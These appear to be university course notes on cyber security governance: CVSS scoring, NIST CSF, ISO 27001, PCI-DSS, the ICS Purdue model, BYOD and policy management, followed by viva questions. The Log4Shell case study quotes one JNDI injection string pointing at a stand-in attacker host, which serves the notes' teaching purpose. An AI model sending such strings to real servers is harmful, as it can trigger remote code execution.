

# OE-EC803C — Cyber Security

Semester VIII • 3L:0T:0P • 3 Credits

## Module 2: Cyber Security Objectives, Guidance & Frameworks

CGEC | B.Tech ECE (2023–27) | *Biraj Sarkar*

---

### Contents

---

|          |                                                                       |          |
|----------|-----------------------------------------------------------------------|----------|
| <b>1</b> | <b>Cyber Security Metrics &amp; Vulnerability Counting</b>            | <b>2</b> |
| 1.1      | CVSS v3.1 Metric Vectors                                              | 2        |
| <b>2</b> | <b>Security Frameworks &amp; Guidance for Decision-Makers</b>         | <b>3</b> |
| 2.1      | ISO/IEC 27001 ISMS Controls                                           | 3        |
| <b>3</b> | <b>Sector-Specific Systems: E-Commerce, ICS &amp; Mobile</b>          | <b>3</b> |
| 3.1      | PCI-DSS E-Commerce Security Architecture                              | 3        |
| 3.2      | Industrial Control Systems (ICS / SCADA) and Purdue Model             | 4        |
| 3.3      | Personal Mobile Devices & BYOD                                        | 4        |
| <b>4</b> | <b>Security Management Goals, Policy Taxonomy &amp; Documentation</b> | <b>4</b> |
| 4.1      | Arriving at Goals & Tone at the Top                                   | 4        |
| 4.2      | Policy as a Project                                                   | 4        |
| 4.3      | Cyber Security Documentation, Taxonomy & Catalog Format               | 4        |

## 1. Cyber Security Metrics & Vulnerability Counting

Cyber Security Metrics quantify the effectiveness of an enterprise security management system and provide decision-makers with actionable performance indicators.

### Definition: Operational Security Metrics & Vulnerability Counting

- **Mean Time to Detect (MTTD):** Average time elapsed between a security compromise occurring and its detection by Security Operations Center (SOC) analysts.
- **Mean Time to Respond/Remediate (MTTR):** Average time required to contain, eradicate, and restore systems after a verified security incident.
- **Counting Vulnerabilities:** Systematic quantification of software security flaws across an enterprise. Standardized using Common Vulnerabilities and Exposures (CVE) IDs cataloged in the NIST National Vulnerability Database (NVD).
- **Common Vulnerability Scoring System (CVSS):** Open industry standard for measuring software flaw severity (0.0 to 10.0 scale).

### 1.1 CVSS v3.1 Metric Vectors

CVSS computes a base score combining Exploitability and Impact metrics:

1. **Attack Vector (AV):** Network (N), Adjacent (A), Local (L), Physical (P).
2. **Attack Complexity (AC):** Low (L) vs High (H).
3. **Privileges Required (PR):** None (N), Low (L), High (H).
4. **User Interaction (UI):** None (N) vs Required (R).
5. **Scope (S):** Unchanged (U) vs Changed (C).
6. **CIA Impact (C/I/A):** High (H), Low (L), None (N).

| CVSS Score Range | Severity Rating | SLA Patching Requirement                        |
|------------------|-----------------|-------------------------------------------------|
| 0.0              | None            | No vulnerability action required.               |
| 0.1 – 3.9        | Low             | Remediate during routine quarterly maintenance. |
| 4.0 – 6.9        | Medium          | Apply vendor patch within 30 days.              |
| 7.0 – 8.9        | High            | Apply vendor security update within 7 days.     |
| 9.0 – 10.0       | Critical        | Emergency hotfix required within 24–48 hours.   |

### Real-World Case Study: Log4Shell Vulnerability (CVE-2021-44228)

1. **CVSS Rating:** Perfect **10.0 Critical** score ('AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H').
2. **Flaw Mechanism:** Apache Log4j2 Java logging library improperly parsed JNDI lookups (e.g. '\$jndi:ldap://attacker.com/a').

3. **Impact:** Allowed unauthenticated attackers to execute arbitrary Remote Code Execution (RCE) on millions of enterprise web servers worldwide with a single HTTP text string.

## 2. Security Frameworks & Guidance for Decision-Makers

Enterprise security frameworks provide structured guidelines to establish, audit, and maintain security baselines for executive decision-makers.

### NIST Cybersecurity Framework (CSF) 5 Core Cycle



### 2.1 ISO/IEC 27001 ISMS Controls

ISO/IEC 27001 is the international certifiable standard for an Information Security Management System (ISMS):

- **Plan-Do-Check-Act (PDCA) Cycle:** Continuous security governance improvement model.
- **Annex A Controls (93 Controls):** Grouped into 4 themes: Organizational Controls (37), People Controls (8), Physical Controls (14), and Technological Controls (34).

## 3. Sector-Specific Systems: E-Commerce, ICS & Mobile

### 3.1 PCI-DSS E-Commerce Security Architecture

The Payment Card Industry Data Security Standard (PCI-DSS v4.0) mandates 12 core security requirements across 6 goals:

| PCI-DSS Core Goal                  | Mandatory Security Control Requirement                                     |
|------------------------------------|----------------------------------------------------------------------------|
| <b>Secure Network</b>              | Install and maintain firewalls; prohibit vendor default passwords.         |
| <b>Protect Cardholder Data</b>     | Encrypt cardholder data in transit (TLS 1.3) and at rest (AES-256).        |
| <b>Vulnerability Program</b>       | Protect systems against malware; develop secure web apps (OWASP Top 10).   |
| <b>Strong Access Control</b>       | Restrict access by business need-to-know; enforce MFA for all access.      |
| <b>Monitor &amp; Test Networks</b> | Track and monitor all network access; perform quarterly penetration tests. |
| <b>Information Security Policy</b> | Maintain formal security policy and conduct annual compliance audits.      |

### 3.2 Industrial Control Systems (ICS / SCADA) and Purdue Model

Operational Technology (OT) manages physical industrial processes (power grids, oil pipelines):

- **Purdue Enterprise Reference Architecture (PERA):**
  - *Level 0–1:* Physical process sensors, actuators, and Programmable Logic Controllers (PLCs).
  - *Level 2:* Control systems (SCADA HMIs, operator consoles).
  - *Level 3:* Site manufacturing operations (historians, OT monitoring).
  - *Level 3.5:* Industrial Demilitarized Zone (IDMZ) air gap firewalls separating OT from enterprise IT (Levels 4–5).

### 3.3 Personal Mobile Devices & BYOD

Bring Your Own Device (BYOD) allows personal employee devices on corporate networks:

- **MDM Controls:** Enforcing storage encryption, remote wipe capabilities, and passcode length.
- **App Containerization:** Creating encrypted sandboxed zones separating personal apps from corporate email/data.

## 4. Security Management Goals, Policy Taxonomy & Documentation

---

### 4.1 Arriving at Goals & Tone at the Top

- **Tone at the Top:** Executive leadership's active support, funding, and visible enforcement of security policies across the enterprise.
- **Arriving at Goals:** Translating business strategies into specific, measurable security policy objectives (SMART goals: Specific, Measurable, Achievable, Relevant, Time-bound).

### 4.2 Policy as a Project

Managing policy authoring through formal project management phases:

Initiation → Drafting → Stakeholder Review → Legal Approval → Publication → Annual Maintenance

### 4.3 Cyber Security Documentation, Taxonomy & Catalog Format

- **The Catalog Approach:** A centralized, version-controlled repository structuring all corporate security policies under a standardized taxonomy.
- **Catalog Format:** Every policy document follows a mandatory structured format: Header/ID, Purpose, Scope, Policy Statements, Compliance Roles, Enforcement Penalties, Exception Process, and Version History.
- **Cyber Security Policy Taxonomy:** Hierarchical classification system grouping policies logically into Operational, Administrative, Technical, and Physical domains.

## Quick Revision — Module 2

Cyber Security Objectives, Guidance & Frameworks | OE-EC803C

### Key Concepts and Metrics at a Glance

|                          |                                                                                 |
|--------------------------|---------------------------------------------------------------------------------|
| <b>NIST CSF Core 5</b>   | Identify, Protect, Detect, Respond, Recover.                                    |
| <b>CVSS Score Ranges</b> | Critical (9.0–10.0), High (7.0–8.9), Medium (4.0–6.9), Low (0.1–3.9).           |
| <b>PCI-DSS Standard</b>  | 12 mandatory security goals for organizations processing credit card payments.  |
| <b>Log4Shell Flaw</b>    | CVSS 10.0 Remote Code Execution (RCE) flaw in Apache Log4j2 JNDI parsing.       |
| <b>Purdue Level 3.5</b>  | Industrial DMZ (IDMZ) air gap isolating OT control networks from enterprise IT. |

### One-Line Definitions

- **Tone at the Top:** Visible executive backing essential for organizational security compliance.
- **MDM Containerization:** Encrypted sandboxing separating corporate data from personal phone storage.
- **SCADA HMI:** Human-Machine Interface allowing operators to control industrial physical machinery.
- **MTTD / MTTR:** Mean Time to Detect vs Mean Time to Respond/Remediate security breaches.

### Frequently Asked / Viva Questions

**Q1. Name the 5 core functions of the NIST Cybersecurity Framework (CSF).**

Identify, Protect, Detect, Respond, and Recover.

**Q2. What is CVSS and how are its score ranges categorized?**

Common Vulnerability Scoring System (0–10 scale): Low (0.1–3.9), Medium (4.0–6.9), High (7.0–8.9), Critical (9.0–10.0).

**Q3. Explain the Log4Shell (CVE-2021-44228) case study.**

A CVSS 10.0 flaw in Log4j2 where unauthenticated JNDI lookup strings executed arbitrary Remote Code Execution (RCE) on servers.

**Q4. What is PCI-DSS and what does it mandate for cardholder data?**

Payment Card Industry Data Security Standard; mandates encrypted storage (AES-256), TLS 1.3 transit encryption, and quarterly vulnerability scans.

**Q5. Explain the Purdue Model Level 3.5 in OT/SCADA security.**

**Frequently Asked / Viva Questions (contd.)**

The Industrial DMZ (IDMZ) containing firewalls and proxy servers that physically and logically separate enterprise IT networks from critical OT plant networks.

**Q6. What is Mobile Device Management (MDM)?**

An enterprise administration platform enforcing passcode complexity, storage encryption, containerization, and remote wipe capabilities on smartphones.

**Q7. Differentiate between MTTD and MTTR.**

MTTD measures average time taken to detect a breach; MTTR measures average time taken to contain and remediate the breach.

**Q8. What is ISO/IEC 27001 Annex A?**

A set of 93 security controls across 4 operational themes (Organizational, People, Physical, Technological) required for ISMS certification.

**Q9. What is Tone at the Top in security management?**

Executive leadership's active support, funding, and personal adherence to security policies, establishing an organizational security culture.

**Q10. Explain the concept of Policy as a Project.**

Structuring policy creation through formal lifecycle phases: Initiation → Drafting → Stakeholder Review → Approval → Publication → Maintenance.

**Q11. What is a CVE ID?**

A unique public identifier (e.g. CVE-2023-1234) assigned to specific software security vulnerabilities cataloged in the NIST NVD.

**Q12. Why are legacy SCADA systems difficult to patch?**

Because industrial PLCs require 24/7 continuous operation, cannot tolerate software reboot downtime, and lack basic hardware encryption support.

**Q13. What is App Containerization in BYOD mobile security?**

Creating an encrypted, isolated partition on an employee's personal device to run corporate apps without accessing personal photos or data.

**Q14. Explain the 4 themes of ISO/IEC 27001:2022 controls.**

Organizational Controls (37), People Controls (8), Physical Controls (14), and Technological Controls (34).

**Q15. What is an SLA in vulnerability remediation?**

Service Level Agreement dictating mandatory timeframes to patch vulnerabilities based on CVSS severity (e.g., Critical patched within 24–48 hours).

**Summary Comparison: Industry Security Frameworks**

| Framework     | Primary Focus       | Audit Type             | Target Audience                      |
|---------------|---------------------|------------------------|--------------------------------------|
| NIST CSF      | Risk Reduction      | Self-Assessment        | Critical Infrastructure & Enterprise |
| ISO/IEC 27001 | Formal ISMS Audit   | Accredited Third-Party | Global Corporations                  |
| PCI-DSS v4.0  | Payment Card Safety | Qualified Assessor     | Merchants & Gateways                 |
| CIS Controls  | Technical Defenses  | Implementation Group   | SOC & IT Engineers                   |